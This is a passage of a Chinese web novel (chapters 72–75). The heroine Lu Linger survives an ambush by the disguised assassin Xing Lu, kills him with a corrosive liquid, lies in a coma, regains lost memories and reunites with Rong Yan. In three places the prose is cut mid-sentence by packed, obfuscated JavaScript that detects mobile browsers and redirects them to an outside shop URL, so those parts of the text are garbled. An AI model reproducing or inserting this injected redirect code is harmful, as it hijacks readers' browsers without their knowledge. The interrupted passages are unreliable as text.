此时陆铃儿已行至小院当中,见佟老爹热情相邀,她眼眸微微一眨,轻声道了句“好”,暗自与身边的佟三拉开距离,徐徐向前走去。 今日这个委托不太对劲,从先前佟三对收成的迟疑开始,她心里就有些不安,也不知是不是她多心,她总觉得会有事发生。 眼下佟老爹让她近身,她心怀谨慎,缓步上前,手里却已然翻出了两只“钻山蚤”,若真是情况有变,她也能及时控制住佟家父子二人。 她就这样朝着前方走去,只是每走一步,她心里的不安就加重一分。 她抬眼望向对面的佟老爹,明明是第一见他,却莫名地感到熟悉,尤其那双耷拉在眼皮底下的眸子,就像是哪里见过似的。 不对,今日这小院实在是不对,她越朝着佟老爹靠拢,四周的空气就变得越肃杀,那感觉就像是……一场对她的围猎! 她脸色一变,骤然在距离佟老爹九尺开外处顿住脚步,她想起在哪里见过他的眼睛了! 她早该在见到佟老爹空空的左臂时就想到的,只是那人惯是阴鸷狠厉,今日伪装成良善老者,她一时失察,没能第一时间认出他来—— 赏金客邢戮! 陆铃儿立即撤身后退,同时将手中的“钻山蚤”朝院中两人扔去。 佟老爹,或者可以称他邢戮,在陆铃儿猝然驻足之时便反应过来,他的身份已然暴露了。 他索性不再伪装,眼底陡然暴起凶光,直腰将手中竹杖狠狠一挥,一条非金非石的长链从中弹出,在陆铃儿扔出“钻山蚤”的同时,以迅雷不及掩耳之势飞向了陆铃儿。 变故发生得太快,陆铃儿刚刚扔出“钻山蚤”还没来得及收回手,那飞向她的长链前端便生出一个五爪钩,钩爪倏地一抓,猛地扣住了她的肩臂。 这五爪甚是强劲,刚一被其扣住,陆铃儿便觉被一股强力所压制,后退的速度被拉下了数成。 与此同时,身侧距她不及六尺的“佟三”也扔出一把飞轮,那飞轮四周长满利刃,在五爪钩扣下来的瞬间,也朝着她的颈项飞转而来。 他们一人用五爪钩偷袭定住陆铃儿,一人用飞轮利刃直取陆铃儿首级,速度快到惊人,根本不容陆铃儿翻出道具,那飞轮已转到了身前。 幸而邢戮误判了陆铃儿的重量,在他看来,那五爪钩之力死死定住像陆铃儿这样身形的女子完全不在话下,殊不知陆铃儿身上道具的重量,甚至比她自身的体重还要沉上许多。 此时扣在她肩上五爪钩,虽是拖慢了她后撤的速度,却未能止住她的身形,当飞轮转到眼前之时,已与她的脖颈偏离了几分。 她速速仰首退身避让,那飞转而来的利刃飞轮,就这样堪堪擦着她的下颌,从她面上旋身而过。 陆铃儿这才心中猛跳,暗道一声好险,方才若不是她身上的重量远在邢戮意料之外,饶是她再怎么避让,也难以躲开那利刃飞轮的致命一击。 她今日实在是失策,邢戮与那“佟三”明显是有备而来,想来他们早已穿好了护甲,“钻山蚤”对他们毫无用处,反倒白白浪费了一次出手的机会。 陆铃儿猜得没错,邢戮今日既是有意设下陷阱,怎会不防备陆铃儿最为顺手的“钻山蚤”,方才她放出的那两只,便是被他们的长及脖颈的护甲所挡,而他们颈上的围巾,则是遮掩护甲之物。 邢戮行事惯以快准狠著称,今日的计划亦是如此,只是他万没想到,陆铃儿会如此机警,还未近身便已撤身后退,而那五爪钩居然未能将她定住,生生让她避开了飞轮的攻击。 可恶,就只差一点! 邢戮眸中的恨意从眼眶中涌出,极不匹配的老脸显得扭曲至极。 自那次在幻林中遭遇行军蚁,他不仅没完成刺杀任务,还失去了一条手臂,想他邢戮此生,还从未有过如此奇耻大辱,这笔帐,叫他怎能不找韩恪以及他身边的陆铃儿清算! 回京之后,他过了一阵落魄的日子,期间他一直盘算着想要复仇,尤其当他得知韩恪便是靖王容砚,他想要复仇的心更是达到了顶点。 容砚与陆铃儿一个武艺高一个道具多,一起行动他难以对付,只能各个击破,先杀陆铃儿,再以此诛心,击杀容砚。 也正是在这个时候,原来的单主又找上了他,告诉他容砚即将去往靖州的消息,还指点他定下了这个假借委托任务暗中偷袭的绝妙计划。 可惜十拿九稳的计划出了岔子,陆铃儿竟躲开了致命一击! 此时距陆铃儿避开飞轮也不过是一眨眼的功夫,就在邢戮暗中生恨以及“佟三”错愕不已之际,方才那飞轮过处,已有数枚飞镖落下。 陆铃儿趁机转动身形,施展一招解绳脱困之法,一个晃身甩掉了肩上的五爪钩。 紧接着几名暗卫跃入院墙,将陆铃儿紧紧护在中间,刹那之间,局势扭转。 这些暗卫是容砚派来保护陆铃儿的,他们一路跟着陆铃儿来到此处,候在附近的大树上暗中护卫。 然而邢戮与“佟三”出手实在太快,他们便是立即放出飞镖,也来不及挡开那朝陆铃儿颈项而去的飞轮。 幸好陆铃儿没事,不然,他们没有活命的可能了。 邢戮视线瞟过暗卫,眼中狠厉再起,一把撕开覆于脸上的伪装,亮出真实的面貌: “有救兵?很好,那就一起上吧!” 他的话音刚落,那农家屋舍之中霍地冲出数十名黑衣人,人数是暗卫的数倍,皆手执刀剑皆对准了陆铃儿。 原来他早已在此设下了天罗地网,一击不成,还有后招,他们与“佟三”一样,都是他手下的杀手。 邢戮面上浮起阴鸷的笑容,陆铃儿今日,非死不可! “杀!” 只听邢戮一声令下,杀手蜂拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008061|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而至,双方打到了一处。 陆铃儿也翻出金钢铁伞,一边以伞面抵挡住杀手的刀剑,一边以伞柄机关转出伞沿上的利刃,以此为武器主动出击。 上次成州之行让她意识到,金钢铁伞光有抵御的功能还是不够,于是她再次改良,又为其增加了攻击技能。 她挥舞着铁伞,加之又有暗卫的保护,对面的杀手根本无法近身。 邢戮暗使几个眼色,他身边的杀手便几人成组,分头缠上了暗卫,他却单手使着五爪钩链,再次朝陆铃儿袭来。 陆铃儿挥伞挡开钩爪,厉声问道: “真正的佟三和佟老爹在哪儿?” 解忧阁从不接身份不明之人委托,佟家父子俩一定真有其人。 邢戮闻言又笑了,手上长链不停,头却朝屋舍内一点: “自然在他们家里,哦,对了,是尸体。” 他只需要这家残疾老人父子的身份,至于人,杀了便是。 “畜生!” 陆铃儿忍不住骂出声来,邢戮为了偷袭她,居然滥杀无辜,简直畜生不如。 可怜这佟家父子,本就过得不易,还平白丢了性命。 “等你到了地下,再去同情他们吧!” 邢戮使着长链再度攻上,却被赶来的暗卫一剑挑开,两人飞身跃起,陆铃儿身前空出了一块,刚好见到那假“佟三”正在眼前。 此时他已撕下面上伪装,使着飞轮迎战暗卫,陆铃儿一想到他们将真正的佟三父子残忍杀害,心中悲愤难平,与暗卫一起合力攻了上去。 那“佟三”对阵暗卫本就有些吃力,陆铃儿的加入令他很快败下阵来,只见暗卫长剑猛地一刺,“佟三”终是顿住身子,倒地而亡。 邢戮带来的杀手数量虽多,身手却不及暗卫,不多时,杀手已死伤数人。 只是这些杀手仍紧紧缠住暗卫,甚至有意引他们离陆铃儿越来越远。 就在陆铃儿以金钢铁伞奋力向前御敌之时,却听到听身传来了破空之声。 不好,有人偷袭! 陆铃儿立即将手中铁伞移至身后,同时侧身避让,无奈身后声音速度太快,快到连伞都来不及挪下,快到连身子都来不及避开,就已经重重撞上了她的背心。 那是邢戮手中的五爪钩链,此物是他专门为对付陆铃儿而制,不仅力大无比,速度更是迅猛惊人,尤其在人不备之时,一经弹出,不及眨眼便至身前,根本无法避开。 方才他借与暗卫打斗的机会,暗自脱离了陆铃儿的视线,又让其他杀手拖住暗卫,自己则悄悄绕到陆铃儿身后,再次给予她致命一击。 这次的偷袭,在速度上与先前一样,也是快到陆铃儿无法避开、暗卫也来不及救援,但在力度上,却是又是大不相同。 先前邢戮只想将陆铃儿定住,且还低估了她的重量,力道便显得并不算大,然而这一次,邢戮却是下了死手,全力将其弹出,力道之大,比之前直接强了数倍。 那前端的五爪呈掌状展开,直直砸到陆铃儿后背之上,陆铃儿只觉由背至胸一阵巨痛,向前跌跌撞撞好几步,接着一口鲜血从喉间涌出。 邢戮终于满意地眯起眼眸,陆铃儿这个狡猾的丫头,今日终于栽在他手上了! 他从成州那次便知,陆铃儿这伙人身上的护甲极为坚硬,寻常利刃难以伤其分毫,既然利器难伤,那便用钝器来伤。 他这五爪勾链,收则里为锐利的爪尖,放则为坚实的大掌,这饱含他全力的大掌照着后心窝重重拍下,那便是一招碎心掌,陆铃儿遭此一击,必死无疑。 他的唇边勾起一抹残忍的笑,一步一步走向陆铃儿。 院中的暗卫皆是心神一凛,方才那武器快得惊人,根本没给他们任何救援的机会,而他们,都失职了。 他们立即砍倒对阵的杀手,朝着迅速陆铃儿聚拢,只是陆铃儿看起来十分不妙,口中鲜血不断,目光也逐渐开始涣散。 此刻她心头痛得厉害,甚至已有些直不起腰来,明明已经好了的晕血之症又再度复发,那奔涌而出的鲜血,令她头晕目眩到几欲倒地。 她踉跄几步,强忍着巨痛,看向手中翻出的一个小瓷罐。 这小瓷罐是被错拿出来的,方才她本欲翻出道具予以抵御,却在重击之下,手心不稳拿错了道具。 瓷罐里的东西,此前她从未想过用在人的身上,但眼下她已没有精力再拿其他道具了,邢戮所做所为残虐不仁,或许这就是天意吧。 她拔开盖子,凭着身上最后一点力气,将里面的东西力朝邢戮泼了过去。 73. 第 73 章 邢戮虽失左臂,身形却依旧敏捷,眨眼已至陆铃儿身后,毫不在意侧方赶来的暗卫。 他身上护甲乃是特制,暗卫的刀剑伤不了他,趁着陆铃儿遭受重创、心脉受损之际,他欲飞身再补一刀,势必要亲眼见她断气,方才解他心头之恨。 只是他万没到,陆铃儿伤成这样还能硬撑,虚晃着转身将手一扬,一团如水一般的东西便朝他迎面泼洒过来。 此时他距陆铃儿不足三尺,躲避已是不及,就这样被当头浇了一脸,水渍一路从外衫穿透护甲,浸至皮肤之上。 时值初冬,猛然被泼了一身水,邢戮第一个感觉是冷,比他印象中的水更冷、更黏腻,气味似花非花,不知具体为何。 他打了个寒战,目光愈发阴狠: 陆铃儿今日死到临头,居然还敢耍花样! 他顾不上抹去水渍,甩出长链正欲挡开暗卫将陆铃儿一招毙命,却猝然脸色大变,身子猛地抽搐起来,手中长链一滑,重重砸在了地上。 痛!怎会这样疼痛! 前一瞬还觉寒凉的水渍,倾刻间变成了附着在身上的烈焰,全身好似滔天大火在熊熊燃烧,又似千虫万蚁在狠狠啃噬。 他耳边听到了滋滋灼烧的炙烤之声,鼻端传来的却不是烟火之气,而是腐骨蚀心的酸臭之味。 尤其是面部,此刻就像有人拿着尖刀将他的脸不断划烂、搅拌,痛得他倒吸凉气连忙伸手去捂。 只是他手一触到脸上皮肤,所碰之处便顺着手掉落下来,血肉红乎乎的一块,令人见之作呕。 他惊恐地睁大双眼瞪向手心,却骇然发现手上的皮肤同样也在迅速溃烂着,大片大片地脱落下来。 剧烈的灼痛伴随着深切恐惧,令邢戮一下慌了神,连被暗卫一脚踹翻在地也无暇顾及,只痛苦地捂住身体,一声声叫得凄厉无比。 暗卫们此时已收拾完杀手聚拢过来,邢戮的骤变令他们惊骇不已,但相较之下,他们更忧心陆铃儿的伤势。 有人欲上前搀扶,陆铃儿却是摇头,颤手擦去唇边的血渍,低头看向地上哀号不止、不停打滚之人。 短短几息之间,邢戮已经看不出人的模样,他全身已没一处好皮,溃烂正往血肉深处发展,细细听去,还能听到骨肉被强力腐蚀、滋滋冒泡的声音。 他双目外翻,痛与恨从中奔涌而出,察觉到陆铃儿的目光,他伸起已可见骨的手想要起身,却又无助地重重砸下。 陆铃儿强忍着剧痛与恶心,最终只轻轻落下一声叹息。 她方才泼向邢戮的,是经她改良加强之后的花汁制剂,其腐蚀性比徐王府中制成的那版强了数倍,可瞬间熔金化铁,不需再慢慢等待。 它将会从与之接触的那一处起,一点一点腐蚀完他的全身,包括他身上的护甲,也包括他的血肉脏腑。 这实在是太过残忍,今日若非错拿,她绝不会将其用在人的身上。 陆铃儿脸上一阵卡白,她已不想、也没有力气再看下去了。 此刻邢戮身子已被腐蚀大半,死亡的恐惧笼罩着他,强撑着最后一点力气想要求一线生机,却只看到陆铃儿转身离开的背影。 见身上的白骨越现越多,他蓦然想起了那日被行军蚁吃掉的杀手,他现在,与他们那时并无不同,都是在剧痛之中,眼睁睁看着自己一点一点被无情吞噬。 他好痛,但他更恨,明明胜券在握,到头来却功亏一篑,他终究还是小看了陆铃儿,恨,他恨哪…… 身后的哀号声越来越弱,陆铃儿也越来越支撑不住,还未走得几步,便觉喉头一阵腥甜,猛地呕出一口血来,然后身子一软,径直倒了下去。 倒地的瞬间,她顿觉眼皮好沉,只来得及看清暗卫飞奔而来的身影,四周便黑了下去。 也不知过了多久,陆铃儿感到耳边开始嘈杂起来,她听到好多人的声音,却始终听不清他们在说什么。 她想开口让他们别再吵了,却发现完全动不了一点,四周一片黑暗,身上好像有针在刺,也不知道是谁,还将那苦苦的药汁往她口里送。 她的心口还是很痛,好在这痛感在逐渐减轻,她对于周遭的感知也越来越清晰,直到有一天,她闻到了一阵熟悉的冷梅香。 那香味的主人牵过她的手,十指交扣置于他的面颊,轻声唤她: “陆铃,我回来了,陆铃……” 陆铃儿想要应声,可怎么也发不出声音,更没有办法动弹,只能听着他一声又一声的轻唤,感受着他的脸庞,以及手背之上的点点湿意。 她的阿砚,正在为她伤心。 她好想抱住他,告诉他别难过,她能听见他说话,只是无论她怎么努力,她仍像是被封印一般动弹不得。 自那以后,容砚每天都会来陪她,忙时坐一会儿就走,闲时一坐便是一天,夜里也都守在她的床前,生怕她醒来见不到他似的。 初时,他并不多话,只每日喂她吃饭喝药,轻轻唤她早日醒来。 后来也不知是不是有人提醒了他什么,他的话逐渐多了起来: “陆铃,你可知邢戮那一击打偏了些许,加上黑金妖蟒护甲为你抵去了几分外力,虽是遭受重创,却未伤及根本,否则,神仙难救。” 容砚说“神仙难救”几字之时,语气沉到可怕,停顿片刻,复又说道: “师父已及时施针护住了你的心脉,只是体内淤血难清,你何时能醒,权看这淤血几时能清。” 陆铃儿听着容砚的讲述,心里闪过一丝恍悟。 原来是阿砚的师父,圣手仙人栖云子救了她。 想来邢戮偷袭她时,她虽避让不及,身子终究侧开了些许,这一掌重击便偏了那么几分,没有端端对准心脉,正因如此,邢戮才会再次上前补刀。 且那黑金妖蟒鳞甲,不止能防利器,还能抵御外力,此次能保得一命,也有它的一份功劳。 “邢戮如此伤你,死得也太过轻松,未能将其挫骨扬灰,还真是便宜了他。” 陆铃儿心中暗自失笑,邢戮怕是连遗骨都被腐蚀殆尽了,这还叫死得轻松?阿砚这是气自己没能亲手替她报仇吧? 没关系的,邢戮伤她之仇,她已经讨回来了,况且,栖云子妙手回春,她现在也没那么痛了。 “此次暗卫失职,我已经重罚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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接下来的日子,容砚还是每日守着陆铃儿,将他的见闻、他的感受,事无巨细,全都说与她听。 “陆铃,你可知此去靖州,你送的平安扣可起了大作用,钻山蚤有效制住闹事之徒,让州府以为神佑于我,再也不敢阳奉阴违地敷衍于我。” 那当然,“钻山蚤”可是她的独门秘宝,也不知阿砚是怎么设的局,竟惹得人以为是神迹现世,他还真是会玩。 “近日我又与容玮对上了,没护好你是我之过,但绝不该他来质问,他该问的,应是邢戮背后的单主,闵宏达。” 所以,阿砚便把容玮引向了罪魁祸首闵宏达,是吗? “听闻闵家后来闹出的动静不小,精彩得很,可惜,还远远不够,闵宏达欠你的,我要他一样一样加倍奉还。” 闵宏达老奸巨猾,停职在家都不忘指使邢戮来击杀她,此时分化他与容玮,的确是个好时机。 自陆铃儿上次从徐王府离开,便再没与容玮有过交集,她一直提防于他,没想到,他还会如此在意她的安危。 她心里刚刚生出一丝感慨,便听容砚的声音又在耳畔响起: “陆铃,这些事你无需劳神,也不用去想其他任何人,一切有我,你只需早点醒来就好。” 谁说她在想其他人了?她才没想呢。 她其实也在头疼,到底要怎么样,她才能真正的醒来。 74. 第 74 章 陆铃儿不知自己这样躺了多久,只知道容砚的声音每天都会响起在耳畔。 他讲了好多好多的话,有近日之事,也有曾经过往,那些两人之间的共同记忆,他已从顺天府讨赏银相逢,一路说到了共食红豆酥、互送定情信物。 随着他的讲述,陆铃儿脑子里也不断回闪着当初的画面,不知为何,她越是回忆,越是感到头一阵一阵地抽痛。 奇怪,她心口的疼痛才刚好,为何头又痛了起来?难道,淤血进脑子里了? 她似感到脑中有什么东西一闪而过,可惜一晃就没了踪影,根本来不及抓住。 耳畔容砚的声音还在继续: “最近我时常想起小时候,上次在思锦轩讲得粗略,我再说一些与你听。” 阿砚要讲童年往事?也好,上次她便听得有些意犹未尽,今日正好再听他讲讲。 “我无母族可依,所住之处与冷宫无异,你却因一枚遗落的小铃铛闯了进来,此后更是借着陪读之便常来寻我。” 说也奇怪,上次在思锦轩,陆铃儿更像是一名听众在细细聆听,这次却是不同,她有如亲身经历一般,眼前开始有了画面。 那日风雪初晴,一个粉雕玉琢的小姑娘从尚书房出来,但她却不愿回家,躲开同行的兄长,偷偷在宫里探寻有无好玩的地方。 当她随意走到一处人迹稀至的院落之前,她身上戴的小铃铛突然滑落,咕噜咕噜滚进了院中。 她探头朝那破旧的院子里望去,只见一位墨衫少年坐于院中温书,阳光洒在他的身上,仿佛为他镀上了一层金边。 她不知这少年是何身份,只觉他长得实在好看,尤其那双瑞凤眼,配以眼角的朱砂痣,令她第一眼便见之生悦。 她满脸带着笑意,轻快地奔向他,用甜糥的嗓音朝他问道: “请问,你有见到一个小铃铛吗?” 那少年抬眸,视线与她交汇,那一瞬间,她只见到他的眼深邃如海,便不自觉地想要朝他靠近。 画面中的小姑娘正要上前迈步,陆铃儿却觉头猛地一痛,眼前画面骤然暗淡下来。 嘶,为何她的头痛得越发厉害了? 还有这画面是怎么回事,搞得就像她真的经历过似的,有些地方连阿砚都没讲到,她也自动在画面里给补齐了。 好在头痛并未持续太久,陆铃儿很快舒缓过来,耳边声音继续响起,她便也不再执着于细节,思绪再次与声音同步。 那些属于两个人的点点滴滴,从他口中娓娓道来,陆铃儿眼前画面又起,每一次都如同亲历,甚至比容砚讲的还要多出许多细节。 这些画面如潮水一般朝她涌来,初时还好,只是脑子伴有些许抽痛,不需多时便能够舒缓。 随着容砚讲述的内容越来越多,那潮水便开始变得汹涌澎湃,这边还未结束,那边又起翻起浪花,将陆铃儿的脑子挤得满满当当,疼痛也越发剧烈起来。 在疼痛之中,陆铃儿终于抓住了先前稍纵即逝的一丝了悟,她见到的这些画面,难道就是她曾经失去的记忆? 怪不得她能补出阿砚没讲到的部分,原来,这些竟真是她的亲身经历! 她任由自己随着容砚的讲述,在往事中浮浮沉沉,就这样不知过了多久,陆铃儿感到有人轻轻抚过她的脸,叹息着说道: “陆铃,今日是我生辰,你还不愿醒来吗?你曾说,每年的生辰都会与我同过,陆铃,你又失言了。” 今日,是阿砚的生辰吗? 阿砚的生辰在腊月,也就是说,她已经这样躺了一个月了? 她何尝不想为他庆生,可今日怕是做不到了。 她不敢想象,此时阿砚该有多难过,只是她还没来得及心疼,脑子又开始抽痛起来。 眼前画面又起,那是她于雪树梅花之下,变戏法为还是少年的他庆生的场景。 与之前不同,这次的场景,她曾在回解忧阁的行船上梦到过。 那时的梦境太过模糊,一度令她误以为是《青梅曲》的剧情,这一次,眼前的画面却是无比清晰: 她施展在幻人张那里学来的彩戏技艺,将漫天的梅花瓣与落雪合为一体,在皑皑白雪之间,拼出一个墨色的“砚”字。 她扬唇现出可爱的小梨涡,甜糥的声音对眼前的少年说道: “愿你生辰快乐,平安顺遂!” 那俊逸少年目含惊喜,眸中亮如星海,千万星辉只为她一人而闪耀: “礼物我很喜欢,明年,你可还会与我同过生辰?” 少女把头点得如同捣蒜: “以后每一年,我都会与你同过生辰。” “绝不失言?” “放心,我一定不会失言的!” 这一段回忆,令陆铃儿心中酸楚不已,她终究还是失言了,不论是中间分离的十年,还是重逢定情后的今天。 此时她又开始头痛起来,按之前的经验,画面到这里便会暗淡下去,只是这一次,它却还在继续。 幼年陆铃儿为容砚庆生之后又待了许久,至直天色将暗才与他惜别,随兄长一道出了宫。 回府的马车上,她透过车帘,竟看到了一个眼熟的身影,那是……闵宏达? 他手里提着什么东西,正从一个年货摊边匆匆离开。 时值腊月,正是百姓购买年货的时节,闵宏达贵为宰相,居然也会亲自来买年货? 自从确认那封密信是由闵宏达亲笔书写,陆铃儿一想起他便恨意难消,阿砚生辰这一日,虽距陆家惨案还有大半年,眼前的画面还是令她心绪难平。 她想将注意力从闵宏达转至他手中之物上,头却猛烈地抽痛起来,眼前画面随即开始扭曲变形,然后碎裂成无数个零碎的小场景。 霎时间,所有场景都在她眼前闪烁跳跃起来,就像是记忆深处点燃的烟花,瞬间绽放成繁复绚丽的火树银花。 那画面来得实在是太多太急,陆铃儿脑中犹如爆炸一般,被这倾刻间强行挤进来的画面炸得疼痛难当。 她多想伸手捂住脑袋,那让些画面一个一个慢慢来,但她动不了,也止不住,海量的记忆伴随着剧烈的疼痛,直让她痛苦不已。 为何会这般头痛?难道是受了闵宏达的影响? 陆铃儿顾不上再去细想,眼前的画面都快将她的头撑破了,痛得她直想皱眉。 “陆铃?陆铃你可是听见了我说话!” 容砚的声音带有明显的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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熟悉的声音似是来自天边,陆铃儿从记忆中被唤了回来。 是了,她重伤未醒,容砚还守在她的床头,每日陪伴,只愿她早日醒来。 她用力睁着眼,只是那眼皮沉重不已,她实在难以睁开,只感到眼中有泪水在汩汩涌出。 泪水很快便被人拭去,耳边的声音已越来越清晰: “别哭陆铃,你还有我,还有密信要解、冤屈要伸,快醒过来,好不好?” 泪水仍旧潸然而下,陆铃儿眼前的黑暗却微微裂开了一丝缝隙,那缝隙之中,似有光若隐若现。 这微弱的一丝光亮,犹如一道曙光,令陆铃儿看到了醒来的希望。 她集中力气,奋力将那缝隙越撑越开,直到她透过朦胧的眼泪,终于看到了光明,以及那个守在她床头的熟悉身影。 她终是睁开了眼,面前的容砚却令她不太敢相认,他清减了好多,曾经的谪仙之姿,此时竟如此憔悴。 “阿砚……” 她心疼地唤他,声音干涩得厉害。 容砚长眸泛红,缓缓伸手从她的眼抚至脸颊,确认这不是幻觉之后,他倾身覆至她身前,一把搂住了她: “陆铃,你终于醒了!” 75. 第 75 章 铃儿缓缓抬手,久未动弹的身体略显乏力,只轻轻圈住容砚,嗓音带着些沙哑,低低响起在两人之间: “嗯,我醒过来了。” 烛火清晰映照出两人的脸庞,他们就这样拥紧彼此,深情地对望着。 眼前的容砚有着肉眼可见的清瘦与疲惫,那双泛着红的瑞凤眼,却因她的醒来而欣喜若狂,骤然间亮了起来。 陆铃儿重伤初醒,本也是心生喜悦,可一见到容砚的模样,她便心疼了。 她不知道自己究竟躺了多久,既然已经过了阿砚的生辰,那少说也有一个多月了。 这一个多月,她都不敢想象阿砚有多难熬。 想到自己曾答应过要每年陪他过一起生辰,陆铃儿心下难过不已,沙哑着嗓子继续开口: “对不起,我还是失言了,没能早点醒来,陪你过生辰。” 她自听到容砚生辰之事后,脑子便痛得快要炸开,感觉就这样过了好久好久,如今他的生辰,怕是早就过去了吧。 “你……都听到了?” “你说的每一个字我都能听到,只是一直无法醒来,让你担心了。” 陆铃儿略带歉意地朝容砚眨了眨眼,容砚却是摇头,眸中的惊喜越来越甚。 原来真的有效,他每日陪在她床头与她说的话,她真的都能听到。 他轻轻拭干她眼角残留的泪水,扬起薄唇,笑意从唇边渗至眼角: “陆铃,你没有失言,现在是亥时,我的生辰还没有过。” 陆铃儿闻言惊诧地睁大双眼,什么?原来竟还在同一天吗? 容砚一眨不眨地盯着她略显迷糊的表情,轻叹着继续笑道: “我知你重诺,可惜我生辰来得太晚,不然你或许早就醒来了。” 他有意将话说得轻松一些,不希望陆铃儿对他有任何负疚之感。 她能在今日醒来已是万幸,此前再多的痛苦与煎熬,比起她的苏醒根本算不得什么。 今日这个生辰,也算是过得惊心动魄,陪护多日终于见她有了动静,可却是一副疼痛难当、泪流不止的模样,那时真是吓坏了他。 好在一切都已过去,他的陆铃,终于牵紧他的手留了下来。 容砚的话语果然令陆铃儿卸下心疚,她终是有了些许笑意,环手将他圈得更紧,用记忆中同样的语气,在他耳边轻声说道: “既是生辰未过,那便祝你生辰快乐,平安顺遂。” 容砚身躯一震,长眸闪过一抹不可置信: “陆铃,你的记忆……” “是的阿砚,我的记忆,那些与陆锦有关的过往,全都找回来了。” 陆铃儿的笑容在扩大,眼底却现出一丝遗憾: “只可惜,今日无法再为你准备生辰礼了。” “你能醒来,便是我此生收到的,最好的生辰礼。” 还有什么礼物,比见到陆铃儿安然无恙更好呢? 一个温情的拥抱过后,容砚唤人为陆铃儿送来了清粥,同时还请来了栖云子。 栖云子见陆铃儿醒来,也长长地舒了口气,既为陆铃儿,也为容砚这个徒儿。 他细细给陆铃儿诊断了一番,这才捋了捋胡子,欣慰地笑道: “心头伤已大好,淤血也已清除,还顺带清了积在脑内十余年的陈血,甚好,甚好。” 这一个多月,他留在解忧阁哪儿也没去,一直在为陆铃儿施针配药,今日总算是把她给救回来了。 还有他这个徒儿,本就事务繁忙,还这么不眠不休地守在床边照顾,如今陆铃儿苏醒,他也终于可以歇一下了。 “伤势虽好,身体却仍需调理,切不可掉以轻心。” 栖云子又开了些调理的方子,留下一句好好休息,便打着呵欠离开了。 “阿砚,我已无碍,你也去歇会儿吧。” 容砚守了她一个多月,还要兼顾手上的事务,身体怎么吃得消,必须得去歇着了。 但容砚却迟迟不愿离开,今晚太过美好,他怕这一切只是他的黄粱一梦,一朝梦醒,她又陷入了沉睡。 “你刚苏醒,情况还不稳定,我再守一晚。” 陆铃儿也知容砚不放心她,但这些时日,他的身体已经透支,不能再这样折腾了。 她杏眼轻眨,似是想到了什么,脸颊泛起红润,低低开口道: “那阿砚与我一起吧。” 容砚眼底微微一震,一股红潮爬上了耳根。 一起?陆铃这是在邀他同眠? “你得好好休息,不能再熬了。” 说完陆铃儿挪了挪身子,把床让出了半边。 这些年她走南闯北,自诩江湖儿女,对一些繁文缛节并没有过多看重,再说她与容砚也曾相拥而眠过,她绝对信任于他。 容砚狭长的双目深深望进陆铃儿的眼底,她眼中的坚定让他终是应了一声: “好。” 两人同床而眠,刹那间又感觉回到了幻林定情的那一晚。 身畔传来熟悉的铃兰淡香,那香气一丝一缕侵入鼻端,令容砚连呼吸也不稳起来。 也不知几个呼吸过后,容砚长吸口气,侧过身来,一把将陆铃儿揉进怀里,在她额上印下一个轻吻。 陆铃儿瞬间又红了脸庞,微微颤了一下身子,然后伸手环住了他的腰。 两人侧身相拥,轻浅的吻一下一下轻落于彼此的脸颊唇边。 考虑到陆铃儿刚刚苏醒,容砚吻得极为克制,每一下都万分顾惜,感觉到她的呼吸变得急促,他才不舍地停了下来。 他紧紧拥着陆铃儿,直至两人的呼吸都平顺下来,这才缓缓闭上了眼。 这一晚,是他得知陆铃儿出事以来,睡得最为踏实的一晚,可他怀中的陆铃儿,却久久难以入眠。 她的视线落于容砚脸庞,看了他好久好久,她并未有多困,但容砚清瘦的模样,深深刺痛了她的心。 她这次重伤久未醒来,多亏他每日为她喂饭喝药,一声声唤她醒来,他自己却久未休息,严重透支了身体。 以后,她绝不会再令他这般难过了。 第二天一早,容砚在晨光中率先醒来。 他低头看向怀中,见陆铃儿还在他的怀里,他的心安下些许,接着又提了起来。 陆铃儿还在睡着,她是昨夜睡下未醒,还是……一直未曾醒来? 他小心翼翼地抚上她的脸,低声轻唤她: “陆铃……” 陆铃儿便是在这一声轻唤中缓缓睁开了眼。 她的目光还有些惺忪,看到眼前紧拥她入怀的容砚,直接给了他一个甜甜的微笑: “早安,阿砚。” 陆铃儿的笑容令容砚全然安下心来,眸中绽放起笑意,在她眉间印上一吻,也道了声: “早安。” 这场景让他们仿佛又回到了幻林的那个早晨,两人对视的双眼蕴着笑,在一片温情脉脉之中起了身。 陆铃儿醒来的消息很快传开,解忧阁不少人都前来探望,尤其是与她最为交好的方侃四人。 这一个多月,他们都密切关注着陆铃儿的状况,既为她的重伤不醒而焦急,又为阁主的不眠不休而担忧,每个人都默默祈祷着,唯愿陆铃儿能早日醒来。 如今陆铃儿终于苏醒,他们怎能不来探望,只是考虑到陆铃儿大伤初愈,他们并未待上太久便先行告退。 见前来探望之人悉数离开,容砚这才牵起陆铃儿的手问道: “想不想到庭院走走?” 陆铃儿虽初醒不久,伤却是已然大好,简单在室外走走,呼吸一下新鲜空气,对她的康复也有帮处。 想到在床上一躺就是一个多月,陆铃儿也不想一直待在室内了,她点点头: “想啊,我们这就走吧。” 容砚为陆铃儿围好披风,两人携着手,一同漫步于解忧阁庭院之中。 前些日子下了几场大雪,今日雪霁天晴,院内的梅花开得正艳。 陆铃儿望着这片雪地红梅,心生出无限感慨,不过一个月的时间,世界已变换了新面貌。 说是变了,其实也有很多东西没变,就像这雪地红梅,与他们童年时的,仿佛还是一般模样。 正想着,容砚已折下一枝红梅,递直陆铃儿面前: “陆铃,愿一切有如此刻,雪霁、梅香、人圆。” 